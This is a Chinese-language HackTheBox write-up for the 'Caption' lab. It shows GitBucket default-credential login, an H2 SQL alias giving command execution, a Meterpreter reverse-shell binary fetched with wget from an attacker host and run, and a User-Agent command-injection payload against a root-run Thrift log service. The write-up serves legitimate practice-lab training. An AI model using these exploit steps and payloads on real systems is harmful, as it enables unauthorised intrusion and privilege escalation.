HackTheBox Writeup - Caption

發布日期:2024/9/15

摘要: 官方對於這題的難度評判為 Hard ,小弟認為這題整體難度沒有到 Hard !題目設計者可能覺得最後一步 root 提權需要先看懂源始碼,再自行構建構建攻擊程式與 payload ,然而由於最後一關專案過小,基本上沒有必要非常深入研究源始碼,就可以很快找到有問題的地方了。我覺得這題難度大概在 Simple 接近 Medium ,解題所需要的技術沒有到太過繁雜,還是值得練練手。


HackTheBox - Caption

主機偵查

端口掃描

利用 nmap 進行端口掃描,靶機開啟了 port 22, port 80 和 port 8080 。

nmap 10.129.20.232 -A -sV -sC

網頁偵查

先將 DNS Hostname 寫入 /etc/hosts 進行解析。

Port 80 Caption

利用瀏覽器打開 http://caption.htb 。搜索以下,除了暴力破解,並沒有找到其他攻擊點。

Port 8080 GitBucket

GitBucket 是開源專案,先從這邊開始打。

搜索官方文件,發現預設帳密是 root:root 。

可以透過預設帳密登入成功。

初始存取權

http://caption.htb:8080/admin/dbviewer 分頁有一個 odbc 的 console,可以直接下 SQL 查詢 GitBucket 的資料庫。參考一段網路上一段 ODBC SQL injection to RCE 的 exploit ,將 SQL 語法的部分複製下來。

CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : "";  }$$;

成功製造 RCE 注入點。

CALL EXECVE('cat /etc/passwd');

利用這個注入點下 whoami 發現當前使用者是 margo , user flag 在 margo 的家目錄。

CALL EXECVE('cat /home/margo/user.txt');

建立持久性

在 metasploit 生成 ELF 格式的 meterpreter 木馬,啟動 handler 。

msf6 > use payload/linux/x64/meterpreter/reverse_tcp
msf6 payload(linux/x64/meterpreter/reverse_tcp) > set lhost 10.10.14.72
lhost => 10.10.14.72
msf6 payload(linux/x64/meterpreter/reverse_tcp) > set lport 4444
lport => 4444
msf6 payload(linux/x64/meterpreter/reverse_tcp) > generate -f elf -o meter
[*] Writing 250 bytes to meter...
msf6 payload(linux/x64/meterpreter/reverse_tcp) > to_handler 

在 meterpreter 木馬程式所在的資料夾開啟 HTTP 伺服器。

python3 -m http.server

透過 HTTP 將 meterpreter 木馬傳送到目標機器,增加執行權限並開啟。

CALL EXECVE('wget -O beatman_meter http://10.10.16.4/meter');
CALL EXECVE('chmod +x /home/margo/beatman_meter');
CALL EXECVE('/home/margo/beatman_meter');

內網服務探索

在 meterpreter 進入 shell ,做本機進程列舉,發現 root 運行這一個服務。

ps aux 

其中 server.go 對應到 GitBucket 中的 Logservice 專案

main 函數開啟了 9090 port。

func main() {
    handler := &LogServiceHandler{}
    processor := log_service.NewLogServiceProcessor(handler)
    transport, err := thrift.NewTServerSocket(":9090")
    if err != nil {
        log.Fatalf("Error creating transport: %v", err)
    }

    server := thrift.NewTSimpleServer4(processor, transport, thrift.NewTTransportFactory(), thrift.NewTBinaryProtocolFactoryDefault())
    log.Println("Starting the server...")
    if err := server.Serve(); err != nil {
        log.Fatalf("Error occurred while serving: %v", err)
    }
}

本服務只有 127.0.0.1 可以存取,利用 iox 將其流量映射到其他 port。

./iox fwd -l 9999 -r 127.0.0.1:9090

Logservice 專案引用了 Apache Thrift ,在這個影片中有展示了 Apache Thrift 的用途,它的用途是旨在透過一份 Thrift 定義自動生成多種語言的 socket 應用程式,同一份專案只需要寫一份伺服器端的程式碼就可以延伸跨語言的 socket 應用。

server.go 只有實做了 ReadLogFile 的功能,觀看程式碼是將輸入了日誌檔案擷取所需的欄位,統一格式儲存到 output.log 。其中,第 42~43 行將欄位輸入了某串 sh 指令,再用 /bin/sh 去執行,明顯有 command injection 的漏洞。

func (l *LogServiceHandler) ReadLogFile(ctx context.Context, filePath string) (r string, err error) {
    file, err := os.Open(filePath)
    if err != nil {
        return "", fmt.Errorf("error opening log file: %v", err)
    }
    defer file.Close()
    ipRegex := regexp.MustCompile(`\b(?:\d{1,3}\.){3}\d{1,3}\b`)
    userAgentRegex := regexp.MustCompile(`"user-agent":"([^"]+)"`)
    outputFile, err := os.Create("output.log")
    if err != nil {
        fmt.Println("Error creating output file:", err)
        return
    }
    defer outputFile.Close()
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        line := scanner.Text()
        ip := ipRegex.FindString(line)
        userAgentMatch := userAgentRegex.FindStringSubmatch(line)
        var userAgent string
        if len(userAgentMatch) > 1 {
            userAgent = userAgentMatch[1]
        }
        timestamp := time.Now().Format(time.RFC3339)
        logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
        exec.Command{"/bin/sh", "-c", logs}
    }
    return "Log file processed",nil
}

提升權限

由於本人欠缺開發 GO 的經驗,為了避雷,我想把 exploit 做成 python 版本。先將 Logservice 資料夾上傳到 margo 的家目錄,用靶機上的環境進行編譯 Python 的 Thrift 函式庫。

引用此函式庫,撰寫 python 版本的 client 端程式,對接 server.go 的應用。

import sys
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from genpy.log_service import LogService  # 從生成的文件中導入服務

def main(log_file_path):
    try:
        # 創建傳輸通道
        transport = TSocket.TSocket('caption.htb', 9999)
        transport = TTransport.TBufferedTransport(transport)
        
        # 協議編碼
        protocol = TBinaryProtocol.TBinaryProtocol(transport)
        
        # 創建客戶端
        client = LogService.Client(protocol)
        
        # 打開傳輸通道
        transport.open()
        
        # 調用服務端方法
        response = client.ReadLogFile(log_file_path)
        
        print(f"Response from server: {response}")
        
        # 關閉傳輸通道
        transport.close()

    except Thrift.TException as tx:
        print(f"Thrift error: {tx.message}")

if __name__ == '__main__':
    main(sys.argv[1])

可以看到服務成功對接上。

現在構造 payload ,有機會 command injection 的欄位有三個,分別是 ip, userAgent 和 timestamp。第 41 行,timestamp 由 server.go 根據當下時間自主生成,排除。利用 ip 的話要構造滿足 IPv4 條件的 payload ,太過嚴苛,也排除。只剩下 userAgent 了,構造 payload 如下。

127.0.0.1 - - [16/Sep/2024:12:00:00 +0000] "GET / HTTP/1.1" 200 - {"user-agent":"'; cp /root/root.txt /tmp/root.txt #"}
127.0.0.1 - - [16/Sep/2024:12:00:00 +0000] "GET / HTTP/1.1" 200 - {"user-agent":"'; chmod 777 /tmp/root.txt #"}

將其上傳到 /tmp/payload.log 。

觸發 command injection 。

python3 client.py /tmp/payload.log

獲取 root flag 。

懶得拿 shell,直接提交 flag。

目錄